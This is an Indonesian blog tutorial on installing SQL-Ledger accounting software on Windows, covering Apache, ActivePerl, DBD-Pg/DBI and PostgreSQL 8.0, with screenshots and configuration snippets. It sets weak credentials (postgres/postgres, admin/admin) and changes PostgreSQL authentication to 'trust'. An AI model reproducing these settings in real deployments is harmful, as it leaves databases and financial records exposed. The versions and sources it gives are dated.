<p><a href="http://akhdaniel.files.wordpress.com/2008/10/gambar10.jpg"><img class="alignnone size-full wp-image-92" style="border-bottom: 0px; border-left: 0px; border-top: 0px; border-right: 0px" title="gambar10" src="http://akhdaniel.files.wordpress.com/2008/10/gambar10.jpg" border="0" alt="" width="240" height="152" /></a></p>
<p>Untuk melakukan test installasi Apache HTTP Server , buka Internet web browser dan masukkan alamat http://127.0.0.1 atau http://localhost. Anda akan melihat halaman yang berisi pesan mengenai software yang sudah berhasil di instal.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/10/gambar11.jpg"><img class="alignnone size-full wp-image-92" style="border-bottom: 0px; border-left: 0px; border-top: 0px; border-right: 0px" title="gambar11" src="http://akhdaniel.files.wordpress.com/2008/10/gambar11.jpg" border="0" alt="" width="240" height="184" /></a></p>
<p align="left"><script type="text/javascript">// <![CDATA[
 google_ad_client = "pub-7773800616131770"; /* horizontal2 468x60 */ google_ad_slot = "7758919137"; google_ad_width = 468; google_ad_height = 60;
// ]]&gt;</script><script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript">
</script></p>
<h2>Instalasi ActivePerl 5.6.1</h2>
<p>Download program bundle untuk sistem operasi Win32 pada alamat http://www.activestate.com/Products/ActivePerl/, misalnya (pada saat tulisan ini dibuat) ActivePerl-5.6.1.638-MSWin32-x86.msi</p>
<p>Jalankan program msi install file tersebut.</p>
<blockquote><p>Note: Version 5.6.1 digunakan dengan alasan untuk kemudahan install driver DBD-Pg and DBI.<br />
Note: Jika anda melihat dialog box security warning , klik tombol Run untuk melanjutkan</p></blockquote>
<p>Pada dialog box ActivePerl Welcome , klik tombol Next.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/10/gambar12.jpg"><img class="alignnone size-full wp-image-92" style="border-bottom: 0px; border-left: 0px; border-top: 0px; border-right: 0px" title="gambar12" src="http://akhdaniel.files.wordpress.com/2008/10/gambar12.jpg" border="0" alt="" width="240" height="184" /></a></p>
<p>Pada dialog box berikutnya, klik radio button &#8220;I accept the terms &#8230; &#8221; dan klik tombol Next.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/10/gambar13.jpg"><img class="alignnone size-full wp-image-92" style="border-bottom: 0px; border-left: 0px; border-top: 0px; border-right: 0px" title="gambar13" src="http://akhdaniel.files.wordpress.com/2008/10/gambar13.jpg" border="0" alt="" width="240" height="187" /></a></p>
<p>Pada dialog box Custom Setup , anda melihat semua items sudah dipilih secara default untuk installasi. Klik tombol Next untuk melanjutkan</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/10/gambar14.jpg"><img class="alignnone size-full wp-image-92" style="border-bottom: 0px; border-left: 0px; border-top: 0px; border-right: 0px" title="gambar14" src="http://akhdaniel.files.wordpress.com/2008/10/gambar14.jpg" border="0" alt="" width="240" height="186" /></a></p>
<p>next dialog box berikutnya memberi infromasi tentang fitur PPM3. Anda boleh pilih pilihan ini jika diinginkan. Klik tombol Next untuk melanjutkan.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/10/gambar15.jpg"><img class="alignnone size-full wp-image-92" style="border-bottom: 0px; border-left: 0px; border-top: 0px; border-right: 0px" title="gambar15" src="http://akhdaniel.files.wordpress.com/2008/10/gambar15.jpg" border="0" alt="" width="240" height="187" /></a></p>
<p>Items setup pilihan akan ditampilkan pada dialog box berikutnya. Biarkan nilai default dan klik tombol Next.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/10/gambar16.jpg"><img class="alignnone size-full wp-image-92" style="border-bottom: 0px; border-left: 0px; border-top: 0px; border-right: 0px" title="gambar16" src="http://akhdaniel.files.wordpress.com/2008/10/gambar16.jpg" border="0" alt="" width="240" height="186" /></a></p>
<p>Akhirnya proses installasi akan dimulai ketika anda klik tombol Install.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/10/gambar17.jpg"><img class="alignnone size-full wp-image-92" style="border-bottom: 0px; border-left: 0px; border-top: 0px; border-right: 0px" title="gambar17" src="http://akhdaniel.files.wordpress.com/2008/10/gambar17.jpg" border="0" alt="" width="240" height="186" /></a></p>
<p>Ketikan anda melihat dialog box Installation Wizard Completed klik tombol Finish.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/10/gambar18.jpg"><img class="alignnone size-full wp-image-92" style="border-bottom: 0px; border-left: 0px; border-top: 0px; border-right: 0px" title="gambar18" src="http://akhdaniel.files.wordpress.com/2008/10/gambar18.jpg" border="0" alt="" width="240" height="186" /></a></p>
<h2>Installing DBD-Pg and DBI</h2>
<p>Untuk instalasi DBD-Pg dan DBI, download module perl yang sudah dikompilasi dari<br />
http://www.edmund-mergl.de/export/ . Nama filenya masing-masing adalah DBD-Pg.zip. File paket DBD-Pg dan DBI diperlukan untuk menyediakan mekanisme database interface antara sql-ledger dan Postgres.</p>
<p>Note: MCSPAN tidak dapat digunakan di Windows sehingga kita perlu module yang telah dikompilasi.<br />
Note: Modul DBD-Pg tersebut diatas tidak bisa digunakan di ActivePerl versi 5.8. Nanti setelah berhasil diinstall di versi 5.6 anda boleh upgrade ActivePerl 5.8.</p>
<p>Unzip file DBD-Pg.zip ke sembarang directory temporary pada komputer anda.</p>
<p>Dengan Command prompt, masuk ke directory DBD-Pg.</p>
<p>Pada command prompt, ketik: ppm install &#8211;location=. DBD-Pg lalu tekan tombol Enter.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gambar19.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gambar19" src="http://www.dijexi.com/wp-content/uploads/2009/06/gambar19_thumb.jpg" border="0" alt="gambar19" width="504" height="129" /></a></p>
<p>Setelah installing DBD-Pg modul ketik pada command prompt: ppm dan tekan tombol    Enter.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gambar20.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gambar20" src="http://www.dijexi.com/wp-content/uploads/2009/06/gambar20_thumb.jpg" border="0" alt="gambar20" width="244" height="81" /></a></p>
<p>Pada PPM prompt, ketik install DBI dan tekan tombol Enter.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gambar21.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gambar21" src="http://www.dijexi.com/wp-content/uploads/2009/06/gambar21_thumb.jpg" border="0" alt="gambar21" width="244" height="84" /></a></p>
<p>Ketika diminta untuk menginstall DBI package, ketikkan huruf y pada prompt dan tekan tombol<br />
Enter.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gambar22.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gambar22" src="http://www.dijexi.com/wp-content/uploads/2009/06/gambar22_thumb.jpg" border="0" alt="gambar22" width="244" height="86" /></a></p>
<p>Untuk keluar dari PPM command prompt, ketik exit dan tekan tombol Enter.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gambar23.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gambar23" src="http://www.dijexi.com/wp-content/uploads/2009/06/gambar23_thumb.jpg" border="0" alt="gambar23" width="244" height="84" /></a></p>
<p>temporary directory yang tadi dibuat boleh dihapus.</p>
<h2>Instalasi PostgreSQL</h2>
<p>Untuk meng-install PostgreSQL server, download file terakhir untuk Win32 system dari http://wwwmaster.postgresql.org/download/mirrors-ftp/.  Pada saat buku ini ditulis, file install yang digunakan adalah: postgresql-8.0.4.zip. Anda boleh menggunaan file dengan versi yang lebih tinggi jika sudah ada. Kemudian, unzip file diatas dan jalankan program installasi postgresql-8.0.msi.</p>
<p>Catatan: jika anda melihat kotak dialog security warning, klik pada tombol Run untuk melanjutkan</p>
<p>Kemudian, anda akan melihat kotak dialog PostgreSQL Installation Wizard. Pilih bahasa yang inginkan pada instruksi installation dan klik tombol Start untuk memulai.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/10/gambar24.jpg"><img class="alignnone size-full wp-image-92" title="gambar24" src="http://akhdaniel.files.wordpress.com/2008/10/gambar24.jpg" alt="" width="240" height="183" /></a></p>
<p>Kemudian anda akan melihat Welcome to the PostgreSQL Installation Wizard. Klik pada tombol Next untuk melanjutkan.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gambar25.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gambar25" src="http://www.dijexi.com/wp-content/uploads/2009/06/gambar25_thumb.jpg" border="0" alt="gambar25" width="244" height="187" /></a></p>
<p>Kotak dialog berikutnya akan berisi catatan installation. Klik pada tombol Next untuk melanjutkan.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gambar26.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gambar26" src="http://www.dijexi.com/wp-content/uploads/2009/06/gambar26_thumb.jpg" border="0" alt="gambar26" width="244" height="187" /></a></p>
<p>Kotak dialog selanjutnya menunjukkan pilihan apa saja yang akan di-instal. Selain dari pilihan default, anda dapat memilih PostgreSQL dan &#8220;Entire Feature will be installed on local hard drive .&#8221; Kemudian klik pada tombol Next untuk melanjutkan.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gambar27.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gambar27" src="http://www.dijexi.com/wp-content/uploads/2009/06/gambar27_thumb.jpg" border="0" alt="gambar27" width="244" height="186" /></a></p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gambar28.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gambar28" src="http://www.dijexi.com/wp-content/uploads/2009/06/gambar28_thumb.jpg" border="0" alt="gambar28" width="244" height="100" /></a></p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gambar29.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gambar29" src="http://www.dijexi.com/wp-content/uploads/2009/06/gambar29_thumb.jpg" border="0" alt="gambar29" width="244" height="187" /></a></p>
<p>Selanjutnya, buka user management applet pada Window dan buat satu user baru. Contohnya pada Windows XP Professional, masuk ke Computer Management MMC dan pilih Users. Lalu, buka bagian Action/New User.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gambar30.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gambar30" src="http://www.dijexi.com/wp-content/uploads/2009/06/gambar30_thumb.jpg" border="0" alt="gambar30" width="244" height="150" /></a></p>
<p>Buat User baru sebagai berikut:</p>
<blockquote><p>User Name: postgres<br />
Password: postgres<br />
Un-check: &#8220;User must change password at next logon&#8221;</p></blockquote>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gambar31.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gambar31" src="http://www.dijexi.com/wp-content/uploads/2009/06/gambar31_thumb.jpg" border="0" alt="gambar31" width="244" height="242" /></a></p>
<p>Lalu, klik tombol Create.</p>
<blockquote><p>Catatan: Account ini tidak boleh di-setup dengan administrator privileges. Postgres tidak dapat berjalan sebagai user admin.</p></blockquote>
<p>Selanjutnya, pada proses instalasi PostgreSQL, ketikkan user tersebut diatas pada kolom Account Name: postgres dan passwordnya pada kotak dialog Service Configuration. Klik tombol Next.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gambar32.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gambar32" src="http://www.dijexi.com/wp-content/uploads/2009/06/gambar32_thumb.jpg" border="0" alt="gambar32" width="244" height="185" /></a></p>
<p>Kotak dialog Initialize database cluster akan muncul. Masukkan nama superuser dari postgres dan password account ini. Lalu, klik pada tombol Next untuk melanjutkan.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gambar33.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gambar33" src="http://www.dijexi.com/wp-content/uploads/2009/06/gambar33_thumb.jpg" border="0" alt="gambar33" width="244" height="189" /></a></p>
<p>Kotak dialog selanjutnya memberikan pilihan jika anda ingin meng-install PL/pgsql. Biarkan saja seperti setting default dan klik tombol Next.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gambar34.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gambar34" src="http://www.dijexi.com/wp-content/uploads/2009/06/gambar34_thumb.jpg" border="0" alt="gambar34" width="244" height="186" /></a></p>
<p>Lalu, anda akan diminta modul tambahan apa saja yang ingin diinstal. Biarkan saja apa adanya dan klik tombol Next.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gambar35.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gambar35" src="http://www.dijexi.com/wp-content/uploads/2009/06/gambar35_thumb.jpg" border="0" alt="gambar35" width="244" height="187" /></a></p>
<p>Kotak dialog Enable PostGIS akan muncul. Biarkan saja apa adanya dan klik tombol Next.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gambar36.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gambar36" src="http://www.dijexi.com/wp-content/uploads/2009/06/gambar36_thumb.jpg" border="0" alt="gambar36" width="244" height="187" /></a></p>
<p>Akhirnya, kotak dialog Ready to install muncul. Klik tombol Next untuk memulai proses instalasi.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gambar37.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gambar37" src="http://www.dijexi.com/wp-content/uploads/2009/06/gambar37_thumb.jpg" border="0" alt="gambar37" width="244" height="187" /></a></p>
<p>Ketika proses installation selesai, klik tombol Finish.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gambar38.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gambar38" src="http://www.dijexi.com/wp-content/uploads/2009/06/gambar38_thumb.jpg" border="0" alt="gambar38" width="244" height="186" /></a></p>
<p>Masuk ke menu Windows Start/Run dan ketik perintah: runas /user:postgres cmd.exe lalu tekan tombol Enter. Ini akan memunculkan command prompt yang dijalankan oleh user postgres.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gambar39.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gambar39" src="http://www.dijexi.com/wp-content/uploads/2009/06/gambar39_thumb.jpg" border="0" alt="gambar39" width="244" height="135" /></a></p>
<p>Ketika diminta password, ketikkan password postgres dan tekan tombol Enter.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gambar40.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gambar40" src="http://www.dijexi.com/wp-content/uploads/2009/06/gambar40_thumb.jpg" border="0" alt="gambar40" width="244" height="106" /></a></p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gambar41.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gambar41" src="http://www.dijexi.com/wp-content/uploads/2009/06/gambar41_thumb.jpg" border="0" alt="gambar41" width="244" height="112" /></a></p>
<p>Jika tadinya adan memilih lokasi default untuk semua program, pindahlah dari C:\Windows\system32 ke direktori C:\Program Files\PostgreSQL\8.0\bin.</p>
<p>Pada prompt anda harus mengetikkan perintah berikut ini untuk membuat user PostgreSQL baru:</p>
<blockquote><p>createuser -d -a sql-ledger</p></blockquote>
<p>dan tekan tombol Enter. Anda akan diminta untuk memasukkan password untuk account PostgreSQL ini. Masukkan password postgres dan tekan tombol Enter.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gambar42.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gambar42" src="http://www.dijexi.com/wp-content/uploads/2009/06/gambar42_thumb.jpg" border="0" alt="gambar42" width="244" height="86" /></a></p>
<p>Selanjutnya, buka file pg_hba.conf file yang ada di C:\Program Files\PostgreSQL\8.0\data directory dengan Notepad.exe. Scroll ke bagian bawah file dan update baris-baris ini:</p>
<blockquote><p>host all all 127.0.0.1/32 md5</p></blockquote>
<p>menjadi:</p>
<blockquote><p>host all all 127.0.0.1/32 trust</p></blockquote>
<p>Simpan perubahan dan keluar dari Notepad.exe.</p>
<h2>Install SQL Ledger</h2>
<p>Untuk meng-install SQL-Ledger, download file production release terbaru dari:</p>
<p>http://www.sql-ledger.org/cgi-bin/nav.pl?page=source/index.html&#038;title=Download</p>
<p>Pada saat buku ini ditulis file install yang digunakan adalah: sql-ledger-8.5.1.tar.gz</p>
<p>Catatan: Ketika men-download file tersebut, Windows akan membuat nama file tersebut sebagai sql-ledger-2.8.5.tar.tar. Mohon di-rename menjadi to: sql-ledger-2.8.5.tar.gz sebelum melakukan unzip.</p>
<p>Unzip file tersebut ke direktori Apache HTTP server, misalnya<br />
C:\Program Files\Apache Group\Apache2. Direktori ini dipilih untuk memudahkan instalasi dan proses backup nantinya. Ketika anda membuka file sql-ledger-2.8.5.tar.gz, maka anda akan diminta untuk men-decompress file tersebut ke suatu temporary folder. Klik pada tombol Yes untuk melanjutkan.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gambar43.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gambar43" src="http://www.dijexi.com/wp-content/uploads/2009/06/gambar43_thumb.jpg" border="0" alt="gambar43" width="244" height="105" /></a></p>
<p>Lalu, klik pada tombol Extract pada aplikasi Winzip.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gbr44.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gbr44" src="http://www.dijexi.com/wp-content/uploads/2009/06/gbr44_thumb.jpg" border="0" alt="gbr44" width="244" height="144" /></a></p>
<p>Lalu, arahkan ke direktori program Apache server, misalnya<br />
C:\Program Files\Apache Group\Apache2 atau ketikkan direktori tujuan pada kolom Extract to. Kemudian klik pada tombol Extract.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gbr45.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gbr45" src="http://www.dijexi.com/wp-content/uploads/2009/06/gbr45_thumb.jpg" border="0" alt="gbr45" width="244" height="154" /></a></p>
<p>Kemudian, download lagi file program SHEBANG. Program ini diperlukan untuk meng-update files agar menyesaikan dengan lokasi perl di Windows. Untuk mendownload nya:</p>
<ul>
<li>Buka web page dengan alamat http://www.sql-ledger.org/source/windows/shebang</li>
<li>Buka menu File/Simpan As.</li>
<li>Arahkan ke direktori SQL-Ledger. Directory ini seharusnya ada di C:\Program Files\Apache Group\Apache2\sql-ledger</li>
<li>Pastikan bahwa Simpan as type adalah Text File</li>
<li>klik tombol Simpan</li>
</ul>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gbr46.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gbr46" src="http://www.dijexi.com/wp-content/uploads/2009/06/gbr46_thumb.jpg" border="0" alt="gbr46" width="244" height="192" /></a></p>
<p>Selanjutnya, buka Command Prompt dan arahkan ke direktori<br />
C:\Program Files\Apache Group\Apache2\sql-ledger .</p>
<p>Pada prompt, ketikkan perintah: type admin.pl |more<br />
Perintah ini akan menampilkan ini file admin.pl pada console. Perhatikan bahwa pada baris paling pertama dari script ini adalah lokasi program Perl yang tidak benar untuk Windows. Ini adalah lokasi direktori untuk UNIX/Linux.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gbr47.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gbr47" src="http://www.dijexi.com/wp-content/uploads/2009/06/gbr47_thumb.jpg" border="0" alt="gbr47" width="244" height="116" /></a></p>
<p>Kemudian, tekan tombol CTRL dan C key bersamaan.</p>
<p>Pada command prompt, ketikkan: ren shebang.txt shebang dan tekan tombol Enter.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gbr48.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gbr48" src="http://www.dijexi.com/wp-content/uploads/2009/06/gbr48_thumb.jpg" border="0" alt="gbr48" width="244" height="62" /></a></p>
<p>Pada command prompt, ketikkan: perl shebang dan tekan tombol Enter.</p>
<p>Pada commange prompt, ketikkan sekali lagi perintah ini: type admin.pl |more<br />
Perhatikan pada baris paling pertama dari script ini bahwa lokasi program Perl sekarang sudah valid.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gbr49.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gbr49" src="http://www.dijexi.com/wp-content/uploads/2009/06/gbr49_thumb.jpg" border="0" alt="gbr49" width="244" height="103" /></a></p>
<h2>Meng-update HTTPD.CONF</h2>
<p>Buka file httpd.conf di Notepad.exe. Klik menu Start/Run dan ketikkan<br />
notepad C:\Program Files\Apache Group\Apache2\conf\httpd.conf pada kolom Open. Lalu tekan tombol OK.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gbr50.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gbr50" src="http://www.dijexi.com/wp-content/uploads/2009/06/gbr50_thumb.jpg" border="0" alt="gbr50" width="244" height="134" /></a></p>
<p>Lalu, scroll ke bawah sampai akhir file httpd.conf dan tambahkan directive di bawah ini:</p>
<blockquote>
<pre>Alias /sql-ledger "C:/Program Files/Apache Group/Apache2/sql-ledger/"
&lt;Directory "C:/Program Files/Apache Group/Apache2/sql-ledger/"&gt;
AllowOverride All
AddHandler cgi-script .pl
Options +ExecCGI
Order Allow,Deny
Allow from All
&lt;/Directory&gt;
&lt;Directory "C:/Program Files/Apache Group/Apache2/sql-ledger/users/"&gt;
Order Deny,Allow
Deny from All
&lt;/Directory&gt;</pre>
</blockquote>
<p>Sekarang simpan file httpd.conf dan keluar dari Notepad.exe. Masuk melalui menu File/Simpan lalu File/Exit.</p>
<p>Restart  Apache HTTP server seperti pada langkah 11 pada bagian Instalasi Apache HTTP Server 2.0.55.</p>
<p>Buka web browser dengan URL http://localhost/sql-ledger. Selanjutnya akan muncul halaman seperti di bawah ini.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gbr51.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gbr51" src="http://www.dijexi.com/wp-content/uploads/2009/06/gbr51_thumb.jpg" border="0" alt="gbr51" width="244" height="148" /></a></p>
<h2>Setting Password Administrator dan Database</h2>
<p>Buka URL http://localhost/sql-ledger/admin.pl dan klik tombol Login.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gbr52.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gbr52" src="http://www.dijexi.com/wp-content/uploads/2009/06/gbr52_thumb.jpg" border="0" alt="gbr52" width="244" height="159" /></a></p>
<p>Lalu, klik tombol Change Admin Password . Default password adalah kosong.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gbr53.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gbr53" src="http://www.dijexi.com/wp-content/uploads/2009/06/gbr53_thumb.jpg" border="0" alt="gbr53" width="244" height="41" /></a></p>
<p>Jika anda sudah mengisikan password baru, klik tombol Change Password .</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gbr54.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gbr54" src="http://www.dijexi.com/wp-content/uploads/2009/06/gbr54_thumb.jpg" border="0" alt="gbr54" width="244" height="182" /></a></p>
<p>Lalu, anda akan dimintai password. Masukkan password anda yang baru dan klik tombol Continue .</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gbr55.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gbr55" src="http://www.dijexi.com/wp-content/uploads/2009/06/gbr55_thumb.jpg" border="0" alt="gbr55" width="244" height="47" /></a></p>
<p>Selanjutnya, klik pada tombol Pg Database Administration.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gbr56.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gbr56" src="http://www.dijexi.com/wp-content/uploads/2009/06/gbr56_thumb.jpg" border="0" alt="gbr56" width="244" height="46" /></a></p>
<p>Karena anda menggunakan PostgreSQL pada Windows, ketikkan localhost pada kolom Host name dan nomor port 5432 pada kolom Port .</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gbr57.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gbr57" src="http://www.dijexi.com/wp-content/uploads/2009/06/gbr57_thumb.jpg" border="0" alt="gbr57" width="244" height="103" /></a></p>
<p>Ketikkan nama dataset yang anda inginkan, misalnya toko. Masukkan nama tersebut semua dalam huruf kecil. Pilih Bahasa-Indonesia_default pada pilihan Create Chart of Account. Lalu, klik tombol Continue .</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gbr58.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gbr58" src="http://www.dijexi.com/wp-content/uploads/2009/06/gbr58_thumb.jpg" border="0" alt="gbr58" width="244" height="129" /></a></p>
<p>Jika dataset berhasil dibuat, anda akan melihat pesan seperti dibawah. Lalu, klik pada tombol Continue .</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gbr59.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gbr59" src="http://www.dijexi.com/wp-content/uploads/2009/06/gbr59_thumb.jpg" border="0" alt="gbr59" width="244" height="49" /></a></p>
<h2>Administrasi User</h2>
<p>Langkah selanjutnya adalah membuat user yang akan menggunakan SQL-Ledger.</p>
<p>Lakukan hal ini dengan men-klik tombol Add User pada menu Administrator.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gbr60.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gbr60" src="http://www.dijexi.com/wp-content/uploads/2009/06/gbr60_thumb.jpg" border="0" alt="gbr60" width="244" height="34" /></a></p>
<p>Halaman isian data user akan muncul seperti berikut ini:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gbr61.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gbr61" src="http://www.dijexi.com/wp-content/uploads/2009/06/gbr61_thumb.jpg" border="0" alt="gbr61" width="244" height="137" /></a></p>
<p>Pada halaman ini, pada bagian SQL-LEdger Accounting Administration/ Edit Usr:</p>
<ol>
<li>Isikan pada kolom Login : kode login user yang anda inginkan, misalnya admin</li>
<li>Isikan pada kolom Password: password untuk login di atas misalnya admin.</li>
<li>Isikan pada kolom Name: nama lengkap user misalhya administrator</li>
<li>Isikan pada kolom Signature:</li>
<li>Isikan pada kolom Phone: nomor telephone</li>
<li>Isikan pada kolom Fax: nomor Fax</li>
<li>Isikan pada kolom Company: nama perusahaan</li>
<li>Pilih pada kolom Date Format: format tanggal yang akan digunakan</li>
<li>Pilih pada kolom Number format: format angka yang akan digunakan</li>
<li>Isikan pada kolom Drop Down Limit: jumlah item pilihan yang akan dimunculkan untuk semua jenis pilihan pada form isian</li>
<li>Isikan pada kolom Menu Width: lebar frame menu</li>
<li>Pilih pada kolom Language: bahasa yang akan digunakan, misalnya Bahasa Indonesia</li>
<li>Isikan pada kolom Session Timeout: berapa lama sistem akan otomatis logout jika tidak ada aktifitas selama waktu tersebut</li>
<li>Pilih pada kolom Stylesheet: model kombinasi warna</li>
<li>Isikan pada kolom Use Template: template yang akand digunakan</li>
<li>Jika perlu isikan pada kolom New Template: nama template baru</li>
</ol>
<p>Pada bagian Database:</p>
<ol>
<li>klik pada Driver Pg</li>
<li>Isikan pada kolom Dataset: nama dataset yang telah anda buat pada langkah sebelumnya yaitu toko</li>
<li>Isikan pada kolom User dan Password: nama username dan password PostgreSQL yang telah anda buat pada langkah 2.4 Instalasi PostgreSQL point 9, yaitu postgres dan password postgres</li>
<li>Isikan pada kolom Host dan Port: nama komputer dimana PostgreSQL jalan yaitu localhost dan post 5432.</li>
</ol>
<p>Pada bagian Access Control: pilih jenis user dan akses menu-menu yang diperbolehkan untuk user ini.</p>
<p>Ketika selesai, klik tombol Simpan di bagian bawah halaman ini. Jika user berhasil dibuat maka akan muncul pada halaman SQL-Ledger Administrator seperti berikut ini:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/gbr62.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gbr62" src="http://www.dijexi.com/wp-content/uploads/2009/06/gbr62_thumb.jpg" border="0" alt="gbr62" width="244" height="54" /></a></p>
<p>Untuk meng-edit user , klik pada login user tersebut, sehingga muncul kembali halaman yang menampilkan informasi lengkap user tersebut seperti pada langkah sebelumnya.</p>
<p>Akhmad Daniel Sembiring</p>
